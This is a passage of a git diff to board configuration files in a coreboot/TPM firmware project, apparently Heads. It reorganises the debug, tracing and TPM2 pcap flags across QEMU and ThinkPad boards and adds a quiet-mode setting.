b/boards/qemu-coreboot-fbwhiptail-tpm2-hotp/qemu-coreboot-fbwhiptail-tpm2-hotp.config @@ -17,11 +17,6 @@ CONFIG_LINUX_CONFIG=config/linux-qemu.config #Enable HAVE_GPG_KEY_BACKUP to test GPG key backup drive (we cannot inject config under QEMU (no internal flashing)) #export CONFIG_HAVE_GPG_KEY_BACKUP=y -#Enable DEBUG output -export CONFIG_DEBUG_OUTPUT=y -export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=y -#Enable TPM2 pcap output under /tmp -export CONFIG_TPM2_CAPTURE_PCAP=y #On-demand hardware support (modules.cpio) CONFIG_LINUX_USB=y @@ -81,6 +76,13 @@ export CONFIG_TPM2_TOOLS=y export CONFIG_PRIMARY_KEY_TYPE=ecc #TPM1 requirements #export CONFIG_TPM=y +#Enable DEBUG output +export CONFIG_DEBUG_OUTPUT=y +export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=y +#Enable TPM2 pcap output under /tmp +export CONFIG_TPM2_CAPTURE_PCAP=y +#Enable quiet mode: technical information logged under /tmp/debug.log +export CONFIG_QUIET_MODE=n export CONFIG_BOOTSCRIPT=/bin/gui-init #text-based original init: #export CONFIG_BOOTSCRIPT=/bin/generic-init @@ -91,6 +93,5 @@ export CONFIG_BOOT_KERNEL_ADD="console=ttyS0 console=tty systemd.zram=0" export CONFIG_BOOT_KERNEL_REMOVE="quiet rhgb splash" export CONFIG_BOARD_NAME="qemu-coreboot-fbwhiptail-tpm2-hotp" #export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" -export CONFIG_AUTO_BOOT_TIMEOUT=5 BOARD_TARGETS := qemu diff --git a/boards/qemu-coreboot-fbwhiptail-tpm2-prod/qemu-coreboot-fbwhiptail-tpm2-prod.config b/boards/qemu-coreboot-fbwhiptail-tpm2-prod/qemu-coreboot-fbwhiptail-tpm2-prod.config index 188d67027..ed9bc4171 100644 --- a/boards/qemu-coreboot-fbwhiptail-tpm2-prod/qemu-coreboot-fbwhiptail-tpm2-prod.config +++ b/boards/qemu-coreboot-fbwhiptail-tpm2-prod/qemu-coreboot-fbwhiptail-tpm2-prod.config @@ -16,12 +16,6 @@ CONFIG_LINUX_CONFIG=config/linux-qemu.config #Enable HAVE_GPG_KEY_BACKUP to test GPG key backup drive (we cannot inject config under QEMU (no internal flashing)) #export CONFIG_HAVE_GPG_KEY_BACKUP=y -#Enable DEBUG output -#export CONFIG_DEBUG_OUTPUT=y -#export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=y -#Enable TPM2 pcap output under /tmp -#export CONFIG_TPM2_CAPTURE_PCAP=y - #On-demand hardware support (modules.cpio) CONFIG_LINUX_USB=y CONFIG_LINUX_E1000=y @@ -80,6 +74,13 @@ export CONFIG_TPM2_TOOLS=y export CONFIG_PRIMARY_KEY_TYPE=ecc #TPM1 requirements #export CONFIG_TPM=y +#Enable DEBUG output +export CONFIG_DEBUG_OUTPUT=n +export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=n +#Enable TPM2 pcap output under /tmp +export CONFIG_TPM2_CAPTURE_PCAP=n +#Enable quiet mode: technical information logged under /tmp/debug.log +export CONFIG_QUIET_MODE=n export CONFIG_BOOTSCRIPT=/bin/gui-init #text-based original init: #export CONFIG_BOOTSCRIPT=/bin/generic-init @@ -90,6 +91,5 @@ export CONFIG_BOOT_KERNEL_ADD="console=ttyS0 console=tty systemd.zram=0" export CONFIG_BOOT_KERNEL_REMOVE="quiet rhgb splash" export CONFIG_BOARD_NAME="qemu-coreboot-fbwhiptail-tpm2" #export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" -#export CONFIG_AUTO_BOOT_TIMEOUT=5 BOARD_TARGETS := qemu diff --git a/boards/qemu-coreboot-fbwhiptail-tpm2/qemu-coreboot-fbwhiptail-tpm2.config b/boards/qemu-coreboot-fbwhiptail-tpm2/qemu-coreboot-fbwhiptail-tpm2.config index e67dc951e..1d7b8c5f7 100644 --- a/boards/qemu-coreboot-fbwhiptail-tpm2/qemu-coreboot-fbwhiptail-tpm2.config +++ b/boards/qemu-coreboot-fbwhiptail-tpm2/qemu-coreboot-fbwhiptail-tpm2.config @@ -16,11 +16,6 @@ CONFIG_LINUX_CONFIG=config/linux-qemu.config #Enable HAVE_GPG_KEY_BACKUP to test GPG key backup drive (we cannot inject config under QEMU (no internal flashing)) #export CONFIG_HAVE_GPG_KEY_BACKUP=y -#Enable DEBUG output -export CONFIG_DEBUG_OUTPUT=y -export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=y -#Enable TPM2 pcap output under /tmp -export CONFIG_TPM2_CAPTURE_PCAP=y #On-demand hardware support (modules.cpio) CONFIG_LINUX_USB=y @@ -80,6 +75,13 @@ export CONFIG_TPM2_TOOLS=y export CONFIG_PRIMARY_KEY_TYPE=ecc #TPM1 requirements #export CONFIG_TPM=y +#Enable DEBUG output +export CONFIG_DEBUG_OUTPUT=y +export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=y +#Enable TPM2 pcap output under /tmp +export CONFIG_TPM2_CAPTURE_PCAP=y +#Enable quiet mode: technical information logged under /tmp/debug.log +export CONFIG_QUIET_MODE=n export CONFIG_BOOTSCRIPT=/bin/gui-init #text-based original init: #export CONFIG_BOOTSCRIPT=/bin/generic-init @@ -90,6 +92,5 @@ export CONFIG_BOOT_KERNEL_ADD="console=ttyS0 console=tty systemd.zram=0" export CONFIG_BOOT_KERNEL_REMOVE="quiet rhgb splash" export CONFIG_BOARD_NAME="qemu-coreboot-fbwhiptail-tpm2" #export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" -#export CONFIG_AUTO_BOOT_TIMEOUT=5 BOARD_TARGETS := qemu diff --git a/boards/qemu-coreboot-whiptail-tpm1-hotp-prod/qemu-coreboot-whiptail-tpm1-hotp-prod.config b/boards/qemu-coreboot-whiptail-tpm1-hotp-prod/qemu-coreboot-whiptail-tpm1-hotp-prod.config index aeb1b4fa1..1e3ffe80e 100644 --- a/boards/qemu-coreboot-whiptail-tpm1-hotp-prod/qemu-coreboot-whiptail-tpm1-hotp-prod.config +++ b/boards/qemu-coreboot-whiptail-tpm1-hotp-prod/qemu-coreboot-whiptail-tpm1-hotp-prod.config @@ -22,7 +22,7 @@ CONFIG_LINUX_CONFIG=config/linux-qemu.config #export CONFIG_DEBUG_OUTPUT=y #export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=y #Enable TPM2 pcap output under /tmp -#export CONFIG_TPM2_CAPTURE_PCAP=y +#export CONFIG_TPM2_CAPTURE_PCAP=n #On-demand hardware support (modules.cpio) CONFIG_LINUX_USB=y @@ -82,6 +82,13 @@ export CONFIG_AUTO_BOOT_TIMEOUT=5 #export CONFIG_PRIMARY_KEY_TYPE=ecc #TPM1 requirements export CONFIG_TPM=y +#Enable DEBUG output +export CONFIG_DEBUG_OUTPUT=n +export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=n +#Enable TPM2 pcap output under /tmp +export CONFIG_TPM2_CAPTURE_PCAP=n +#Enable quiet mode: technical information logged under /tmp/debug.log +export CONFIG_QUIET_MODE=n export CONFIG_BOOTSCRIPT=/bin/gui-init #text-based original init: #export CONFIG_BOOTSCRIPT=/bin/generic-init @@ -92,6 +99,5 @@ export CONFIG_BOOT_KERNEL_ADD="console=ttyS0 console=tty systemd.zram=0" export CONFIG_BOOT_KERNEL_REMOVE="quiet rhgb splash" export CONFIG_BOARD_NAME="qemu-coreboot-whiptail-tpm1-hotp" #export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" -export CONFIG_AUTO_BOOT_TIMEOUT=5 BOARD_TARGETS := qemu diff --git a/boards/qemu-coreboot-whiptail-tpm1-hotp/qemu-coreboot-whiptail-tpm1-hotp.config b/boards/qemu-coreboot-whiptail-tpm1-hotp/qemu-coreboot-whiptail-tpm1-hotp.config index e47260ce6..097454066 100644 --- a/boards/qemu-coreboot-whiptail-tpm1-hotp/qemu-coreboot-whiptail-tpm1-hotp.config +++ b/boards/qemu-coreboot-whiptail-tpm1-hotp/qemu-coreboot-whiptail-tpm1-hotp.config @@ -18,12 +18,6 @@ CONFIG_LINUX_CONFIG=config/linux-qemu.config #Enable HAVE_GPG_KEY_BACKUP to test GPG key backup drive (we cannot inject config under QEMU (no internal flashing)) #export CONFIG_HAVE_GPG_KEY_BACKUP=y -#Enable DEBUG output -export CONFIG_DEBUG_OUTPUT=y -export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=y -#Enable TPM2 pcap output under /tmp -#export CONFIG_TPM2_CAPTURE_PCAP=y - #On-demand hardware support (modules.cpio) CONFIG_LINUX_USB=y CONFIG_LINUX_E1000=y @@ -82,6 +76,13 @@ export CONFIG_AUTO_BOOT_TIMEOUT=5 #export CONFIG_PRIMARY_KEY_TYPE=ecc #TPM1 requirements export CONFIG_TPM=y +#Enable DEBUG output +export CONFIG_DEBUG_OUTPUT=y +export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=y +#Enable TPM2 pcap output under /tmp +#export CONFIG_TPM2_CAPTURE_PCAP=n +#Enable quiet mode: technical information logged under /tmp/debug.log +export CONFIG_QUIET_MODE=n export CONFIG_BOOTSCRIPT=/bin/gui-init #text-based original init: #export CONFIG_BOOTSCRIPT=/bin/generic-init @@ -92,6 +93,5 @@ export CONFIG_BOOT_KERNEL_ADD="console=ttyS0 console=tty systemd.zram=0" export CONFIG_BOOT_KERNEL_REMOVE="quiet rhgb splash" export CONFIG_BOARD_NAME="qemu-coreboot-whiptail-tpm1-hotp" #export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" -export CONFIG_AUTO_BOOT_TIMEOUT=5 BOARD_TARGETS := qemu diff --git a/boards/qemu-coreboot-whiptail-tpm1-prod/qemu-coreboot-whiptail-tpm1-prod.config b/boards/qemu-coreboot-whiptail-tpm1-prod/qemu-coreboot-whiptail-tpm1-prod.config index 0038b8a9f..ee8d56fd5 100644 --- a/boards/qemu-coreboot-whiptail-tpm1-prod/qemu-coreboot-whiptail-tpm1-prod.config +++ b/boards/qemu-coreboot-whiptail-tpm1-prod/qemu-coreboot-whiptail-tpm1-prod.config @@ -20,7 +20,7 @@ CONFIG_LINUX_CONFIG=config/linux-qemu.config #export CONFIG_DEBUG_OUTPUT=y #export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=y #Enable TPM2 pcap output under /tmp -#export CONFIG_TPM2_CAPTURE_PCAP=y +#export CONFIG_TPM2_CAPTURE_PCAP=n #On-demand hardware support (modules.cpio) CONFIG_LINUX_USB=y @@ -80,6 +80,13 @@ export CONFIG_AUTO_BOOT_TIMEOUT=5 #export CONFIG_PRIMARY_KEY_TYPE=ecc #TPM1 requirements export CONFIG_TPM=y +#Enable DEBUG output +export CONFIG_DEBUG_OUTPUT=n +export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=n +#Enable TPM2 pcap output under /tmp +export CONFIG_TPM2_CAPTURE_PCAP=n +#Enable quiet mode: technical information logged under /tmp/debug.log +export CONFIG_QUIET_MODE=n export CONFIG_BOOTSCRIPT=/bin/gui-init #text-based original init: #export CONFIG_BOOTSCRIPT=/bin/generic-init @@ -90,6 +97,5 @@ export CONFIG_BOOT_KERNEL_ADD="console=ttyS0 console=tty systemd.zram=0" export CONFIG_BOOT_KERNEL_REMOVE="quiet rhgb splash" export CONFIG_BOARD_NAME="qemu-coreboot-whiptail-tpm1" #export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" -#export CONFIG_AUTO_BOOT_TIMEOUT=5 BOARD_TARGETS := qemu diff --git a/boards/qemu-coreboot-whiptail-tpm1/qemu-coreboot-whiptail-tpm1.config b/boards/qemu-coreboot-whiptail-tpm1/qemu-coreboot-whiptail-tpm1.config index d47a783a4..12160387c 100644 --- a/boards/qemu-coreboot-whiptail-tpm1/qemu-coreboot-whiptail-tpm1.config +++ b/boards/qemu-coreboot-whiptail-tpm1/qemu-coreboot-whiptail-tpm1.config @@ -16,12 +16,6 @@ CONFIG_LINUX_CONFIG=config/linux-qemu.config #Enable HAVE_GPG_KEY_BACKUP to test GPG key backup drive (we cannot inject config under QEMU (no internal flashing)) #export CONFIG_HAVE_GPG_KEY_BACKUP=y -#Enable DEBUG output -export CONFIG_DEBUG_OUTPUT=y -export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=y -#Enable TPM2 pcap output under /tmp -#export CONFIG_TPM2_CAPTURE_PCAP=y - #On-demand hardware support (modules.cpio) CONFIG_LINUX_USB=y CONFIG_LINUX_E1000=y @@ -80,6 +74,13 @@ export CONFIG_AUTO_BOOT_TIMEOUT=5 #export CONFIG_PRIMARY_KEY_TYPE=ecc #TPM1 requirements export CONFIG_TPM=y +#Enable DEBUG output +export CONFIG_DEBUG_OUTPUT=y +export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=y +#Enable TPM2 pcap output under /tmp +#export CONFIG_TPM2_CAPTURE_PCAP=n +#Enable quiet mode: technical information logged under /tmp/debug.log +export CONFIG_QUIET_MODE=n export CONFIG_BOOTSCRIPT=/bin/gui-init #text-based original init: #export CONFIG_BOOTSCRIPT=/bin/generic-init @@ -90,6 +91,5 @@ export CONFIG_BOOT_KERNEL_ADD="console=ttyS0 console=tty systemd.zram=0" export CONFIG_BOOT_KERNEL_REMOVE="quiet rhgb splash" export CONFIG_BOARD_NAME="qemu-coreboot-whiptail-tpm1" #export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" -#export CONFIG_AUTO_BOOT_TIMEOUT=5 BOARD_TARGETS := qemu diff --git a/boards/qemu-coreboot-whiptail-tpm2-hotp-prod/qemu-coreboot-whiptail-tpm2-hotp-prod.config b/boards/qemu-coreboot-whiptail-tpm2-hotp-prod/qemu-coreboot-whiptail-tpm2-hotp-prod.config index 10f051f94..9e9a9cba8 100644 --- a/boards/qemu-coreboot-whiptail-tpm2-hotp-prod/qemu-coreboot-whiptail-tpm2-hotp-prod.config +++ b/boards/qemu-coreboot-whiptail-tpm2-hotp-prod/qemu-coreboot-whiptail-tpm2-hotp-prod.config @@ -17,12 +17,6 @@ CONFIG_LINUX_CONFIG=config/linux-qemu.config #Enable HAVE_GPG_KEY_BACKUP to test GPG key backup drive (we cannot inject config under QEMU (no internal flashing)) #export CONFIG_HAVE_GPG_KEY_BACKUP=y -#Enable DEBUG output -#export CONFIG_DEBUG_OUTPUT=y -#export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=y -#Enable TPM2 pcap output under /tmp -#export CONFIG_TPM2_CAPTURE_PCAP=y - #On-demand hardware support (modules.cpio) CONFIG_LINUX_USB=y CONFIG_LINUX_E1000=y @@ -81,6 +75,13 @@ export CONFIG_TPM2_TOOLS=y export CONFIG_PRIMARY_KEY_TYPE=ecc #TPM1 requirements #export CONFIG_TPM=y +#Enable DEBUG output +export CONFIG_DEBUG_OUTPUT=n +export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=n +#Enable TPM2 pcap output under /tmp +export CONFIG_TPM2_CAPTURE_PCAP=n +#Enable quiet mode: technical information logged under /tmp/debug.log +export CONFIG_QUIET_MODE=n export CONFIG_BOOTSCRIPT=/bin/gui-init #text-based original init: #export CONFIG_BOOTSCRIPT=/bin/generic-init @@ -91,6 +92,5 @@ export CONFIG_BOOT_KERNEL_ADD="console=ttyS0 console=tty systemd.zram=0" export CONFIG_BOOT_KERNEL_REMOVE="quiet rhgb splash" export CONFIG_BOARD_NAME="qemu-coreboot-whiptail-tpm2-hotp" #export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" -export CONFIG_AUTO_BOOT_TIMEOUT=5 BOARD_TARGETS := qemu diff --git a/boards/qemu-coreboot-whiptail-tpm2-hotp/qemu-coreboot-whiptail-tpm2-hotp.config b/boards/qemu-coreboot-whiptail-tpm2-hotp/qemu-coreboot-whiptail-tpm2-hotp.config index b9fba2971..b00843895 100644 --- a/boards/qemu-coreboot-whiptail-tpm2-hotp/qemu-coreboot-whiptail-tpm2-hotp.config +++ b/boards/qemu-coreboot-whiptail-tpm2-hotp/qemu-coreboot-whiptail-tpm2-hotp.config @@ -17,11 +17,6 @@ CONFIG_LINUX_CONFIG=config/linux-qemu.config #Enable HAVE_GPG_KEY_BACKUP to test GPG key backup drive (we cannot inject config under QEMU (no internal flashing)) #export CONFIG_HAVE_GPG_KEY_BACKUP=y -#Enable DEBUG output -export CONFIG_DEBUG_OUTPUT=y -export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=y -#Enable TPM2 pcap output under /tmp -export CONFIG_TPM2_CAPTURE_PCAP=y #On-demand hardware support (modules.cpio) CONFIG_LINUX_USB=y @@ -81,6 +76,13 @@ export CONFIG_TPM2_TOOLS=y export CONFIG_PRIMARY_KEY_TYPE=ecc #TPM1 requirements #export CONFIG_TPM=y +#Enable DEBUG output +export CONFIG_DEBUG_OUTPUT=y +export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=y +#Enable TPM2 pcap output under /tmp +export CONFIG_TPM2_CAPTURE_PCAP=y +#Enable quiet mode: technical information logged under /tmp/debug.log +export CONFIG_QUIET_MODE=n export CONFIG_BOOTSCRIPT=/bin/gui-init #text-based original init: #export CONFIG_BOOTSCRIPT=/bin/generic-init @@ -91,6 +93,5 @@ export CONFIG_BOOT_KERNEL_ADD="console=ttyS0 console=tty systemd.zram=0" export CONFIG_BOOT_KERNEL_REMOVE="quiet rhgb splash" export CONFIG_BOARD_NAME="qemu-coreboot-whiptail-tpm2-hotp" #export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" -export CONFIG_AUTO_BOOT_TIMEOUT=5 BOARD_TARGETS := qemu diff --git a/boards/qemu-coreboot-whiptail-tpm2-prod/qemu-coreboot-whiptail-tpm2-prod.config b/boards/qemu-coreboot-whiptail-tpm2-prod/qemu-coreboot-whiptail-tpm2-prod.config index 2db24f733..3fe0d382b 100644 --- a/boards/qemu-coreboot-whiptail-tpm2-prod/qemu-coreboot-whiptail-tpm2-prod.config +++ b/boards/qemu-coreboot-whiptail-tpm2-prod/qemu-coreboot-whiptail-tpm2-prod.config @@ -16,12 +16,6 @@ CONFIG_LINUX_CONFIG=config/linux-qemu.config #Enable HAVE_GPG_KEY_BACKUP to test GPG key backup drive (we cannot inject config under QEMU (no internal flashing)) #export CONFIG_HAVE_GPG_KEY_BACKUP=y -#Enable DEBUG output -#export CONFIG_DEBUG_OUTPUT=y -#export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=y -#Enable TPM2 pcap output under /tmp -#export CONFIG_TPM2_CAPTURE_PCAP=y - #On-demand hardware support (modules.cpio) CONFIG_LINUX_USB=y CONFIG_LINUX_E1000=y @@ -80,6 +74,13 @@ export CONFIG_TPM2_TOOLS=y export CONFIG_PRIMARY_KEY_TYPE=ecc #TPM1 requirements #export CONFIG_TPM=y +#Enable DEBUG output +export CONFIG_DEBUG_OUTPUT=n +export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=n +#Enable TPM2 pcap output under /tmp +export CONFIG_TPM2_CAPTURE_PCAP=n +#Enable quiet mode: technical information logged under /tmp/debug.log +export CONFIG_QUIET_MODE=n export CONFIG_BOOTSCRIPT=/bin/gui-init #text-based original init: #export CONFIG_BOOTSCRIPT=/bin/generic-init @@ -90,6 +91,5 @@ export CONFIG_BOOT_KERNEL_ADD="console=ttyS0 console=tty systemd.zram=0" export CONFIG_BOOT_KERNEL_REMOVE="quiet rhgb splash" export CONFIG_BOARD_NAME="qemu-coreboot-whiptail-tpm2" #export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" -#export CONFIG_AUTO_BOOT_TIMEOUT=5 BOARD_TARGETS := qemu diff --git a/boards/qemu-coreboot-whiptail-tpm2/qemu-coreboot-whiptail-tpm2.config b/boards/qemu-coreboot-whiptail-tpm2/qemu-coreboot-whiptail-tpm2.config index a6ac751a8..466814f67 100644 --- a/boards/qemu-coreboot-whiptail-tpm2/qemu-coreboot-whiptail-tpm2.config +++ b/boards/qemu-coreboot-whiptail-tpm2/qemu-coreboot-whiptail-tpm2.config @@ -16,11 +16,6 @@ CONFIG_LINUX_CONFIG=config/linux-qemu.config #Enable HAVE_GPG_KEY_BACKUP to test GPG key backup drive (we cannot inject config under QEMU (no internal flashing)) #export CONFIG_HAVE_GPG_KEY_BACKUP=y -#Enable DEBUG output -export CONFIG_DEBUG_OUTPUT=y -export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=y -#Enable TPM2 pcap output under /tmp -export CONFIG_TPM2_CAPTURE_PCAP=y #On-demand hardware support (modules.cpio) CONFIG_LINUX_USB=y @@ -80,6 +75,13 @@ export CONFIG_TPM2_TOOLS=y export CONFIG_PRIMARY_KEY_TYPE=ecc #TPM1 requirements #export CONFIG_TPM=y +#Enable DEBUG output +export CONFIG_DEBUG_OUTPUT=y +export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=y +#Enable TPM2 pcap output under /tmp +export CONFIG_TPM2_CAPTURE_PCAP=y +#Enable quiet mode: technical information logged under /tmp/debug.log +export CONFIG_QUIET_MODE=n export CONFIG_BOOTSCRIPT=/bin/gui-init #text-based original init: #export CONFIG_BOOTSCRIPT=/bin/generic-init diff --git a/boards/t420-hotp-maximized/t420-hotp-maximized.config b/boards/t420-hotp-maximized/t420-hotp-maximized.config index 4ab33a434..ff6392fa1 100644 --- a/boards/t420-hotp-maximized/t420-hotp-maximized.config +++ b/boards/t420-hotp-maximized/t420-hotp-maximized.config @@ -60,6 +60,13 @@ CONFIG_FBWHIPTAIL=y #SSH server (requires ethernet drivers, eg: CONFIG_LINUX_E1000E) CONFIG_DROPBEAR=n +#Enable DEBUG output +export CONFIG_DEBUG_OUTPUT=n +export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=n +#Enable TPM2 pcap output under /tmp +export CONFIG_TPM2_CAPTURE_PCAP=n +#Enable quiet mode: technical information logged under /tmp/debug.log +export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n diff --git a/boards/t420-maximized/t420-maximized.config b/boards/t420-maximized/t420-maximized.config index 1293dd2d4..5426da7d2 100644 --- a/boards/t420-maximized/t420-maximized.config +++ b/boards/t420-maximized/t420-maximized.config @@ -58,6 +58,13 @@ CONFIG_FBWHIPTAIL=y #SSH server (requires ethernet drivers, eg: CONFIG_LINUX_E1000E) CONFIG_DROPBEAR=n +#Enable DEBUG output +export CONFIG_DEBUG_OUTPUT=n +export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=n +#Enable TPM2 pcap output under /tmp +export CONFIG_TPM2_CAPTURE_PCAP=n +#Enable quiet mode: technical information logged under /tmp/debug.log +export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n diff --git a/boards/t430-hotp-maximized/t430-hotp-maximized.config b/boards/t430-hotp-maximized/t430-hotp-maximized.config index 4b64ffefa..e68535813 100644 --- a/boards/t430-hotp-maximized/t430-hotp-maximized.config +++ b/boards/t430-hotp-maximized/t430-hotp-maximized.config @@ -58,6 +58,13 @@ CONFIG_FBWHIPTAIL=y #SSH server (requires ethernet drivers, eg: CONFIG_LINUX_E1000E) CONFIG_DROPBEAR=y +#Enable DEBUG output +export CONFIG_DEBUG_OUTPUT=n +export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=n +#Enable TPM2 pcap output under /tmp +export CONFIG_TPM2_CAPTURE_PCAP=n +#Enable quiet mode: technical information logged under /tmp/debug.log +export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n diff --git a/boards/t430-maximized/t430-maximized.config b/boards/t430-maximized/t430-maximized.config index 4164db3d7..7b6e72618 100644 --- a/boards/t430-maximized/t430-maximized.config +++ b/boards/t430-maximized/t430-maximized.config @@ -58,6 +58,13 @@ CONFIG_FBWHIPTAIL=y #SSH server (requires ethernet drivers, eg: CONFIG_LINUX_E1000E) CONFIG_DROPBEAR=y +#Enable DEBUG output +export CONFIG_DEBUG_OUTPUT=n +export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=n +#Enable TPM2 pcap output under /tmp +export CONFIG_TPM2_CAPTURE_PCAP=n +#Enable quiet mode: technical information logged under /tmp/debug.log +export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n diff --git a/boards/t530-hotp-maximized/t530-hotp-maximized.config b/boards/t530-hotp-maximized/t530-hotp-maximized.config index bdd005aed..62bee8d37 100644 --- a/boards/t530-hotp-maximized/t530-hotp-maximized.config +++ b/boards/t530-hotp-maximized/t530-hotp-maximized.config @@ -60,6 +60,13 @@ CONFIG_FBWHIPTAIL=y #SSH server (requires ethernet drivers, eg: CONFIG_LINUX_E1000E) CONFIG_DROPBEAR=y +#Enable DEBUG output +export CONFIG_DEBUG_OUTPUT=n +export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=n +#Enable TPM2 pcap output under /tmp +export CONFIG_TPM2_CAPTURE_PCAP=n +#Enable quiet mode: technical information logged under /tmp/debug.log +export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n diff --git a/boards/t530-maximized/t530-maximized.config b/boards/t530-maximized/t530-maximized.config index b291fa946..1c3e58c85 100644 --- a/boards/t530-maximized/t530-maximized.config +++ b/boards/t530-maximized/t530-maximized.config @@ -59,6 +59,13 @@ CONFIG_FBWHIPTAIL=y #SSH server (requires ethernet drivers, eg: CONFIG_LINUX_E1000E) CONFIG_DROPBEAR=y +#Enable DEBUG output +export CONFIG_DEBUG_OUTPUT=n +export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=n +#Enable TPM2 pcap output under /tmp +export CONFIG_TPM2_CAPTURE_PCAP=n +#Enable quiet mode: technical information logged under /tmp/debug.log +export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n diff --git a/boards/w530-hotp-maximized/w530-hotp-maximized.config b/boards/w530-hotp-maximized/w530-hotp-maximized.config index ddb91dbad..4b8f2ff48 100644 --- a/boards/w530-hotp-maximized/w530-hotp-maximized.config +++ b/boards/w530-hotp-maximized/w530-hotp-maximized.config @@ -60,6 +60,13 @@ CONFIG_FBWHIPTAIL=y #SSH server (requires ethernet drivers, eg: CONFIG_LINUX_E1000E) CONFIG_DROPBEAR=y +#Enable DEBUG output +export CONFIG_DEBUG_OUTPUT=n +export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=n +#Enable TPM2 pcap output under /tmp +export CONFIG_TPM2_CAPTURE_PCAP=n +#Enable quiet mode: technical information logged under /tmp/debug.log +export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n diff --git a/boards/w530-maximized/w530-maximized.config b/boards/w530-maximized/w530-maximized.config index bb691ad71..282e2a2bc 100644 --- a/boards/w530-maximized/w530-maximized.config +++ b/boards/w530-maximized/w530-maximized.config @@ -59,6 +59,13 @@ CONFIG_FBWHIPTAIL=y #SSH server (requires ethernet drivers, eg: CONFIG_LINUX_E1000E) CONFIG_DROPBEAR=y +#Enable DEBUG output +export CONFIG_DEBUG_OUTPUT=n +export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=n +#Enable TPM2 pcap output under /tmp +export CONFIG_TPM2_CAPTURE_PCAP=n +#Enable quiet mode: technical information logged under /tmp/debug.log +export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n diff --git a/boards/x220-hotp-maximized/x220-hotp-maximized.config b/boards/x220-hotp-maximized/x220-hotp-maximized.config index b8dc88e4d..ff2a0cc8d 100644 --- a/boards/x220-hotp-maximized/x220-hotp-maximized.config +++ b/boards/x220-hotp-maximized/x220-hotp-maximized.config @@ -60,6 +60,13 @@ CONFIG_FBWHIPTAIL=y #SSH server (requires ethernet drivers, eg: CONFIG_LINUX_E1000E) CONFIG_DROPBEAR=n +#Enable DEBUG output +export CONFIG_DEBUG_OUTPUT=n +export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=n +#Enable TPM2 pcap output under /tmp +export CONFIG_TPM2_CAPTURE_PCAP=n +#Enable quiet mode: technical information logged under /tmp/debug.log +export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n diff --git a/boards/x220-maximized/x220-maximized.config b/boards/x220-maximized/x220-maximized.config index 2bd094ec3..3053aad1b 100644 --- a/boards/x220-maximized/x220-maximized.config +++ b/boards/x220-maximized/x220-maximized.config @@ -59,6 +59,13 @@ CONFIG_FBWHIPTAIL=y #SSH server (requires ethernet drivers, eg: CONFIG_LINUX_E1000E) CONFIG_DROPBEAR=n +#Enable DEBUG output +export CONFIG_DEBUG_OUTPUT=n +export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=n +#Enable TPM2 pcap output under /tmp +export CONFIG_TPM2_CAPTURE_PCAP=n +#Enable quiet mode: technical information logged under /tmp/debug.log +export 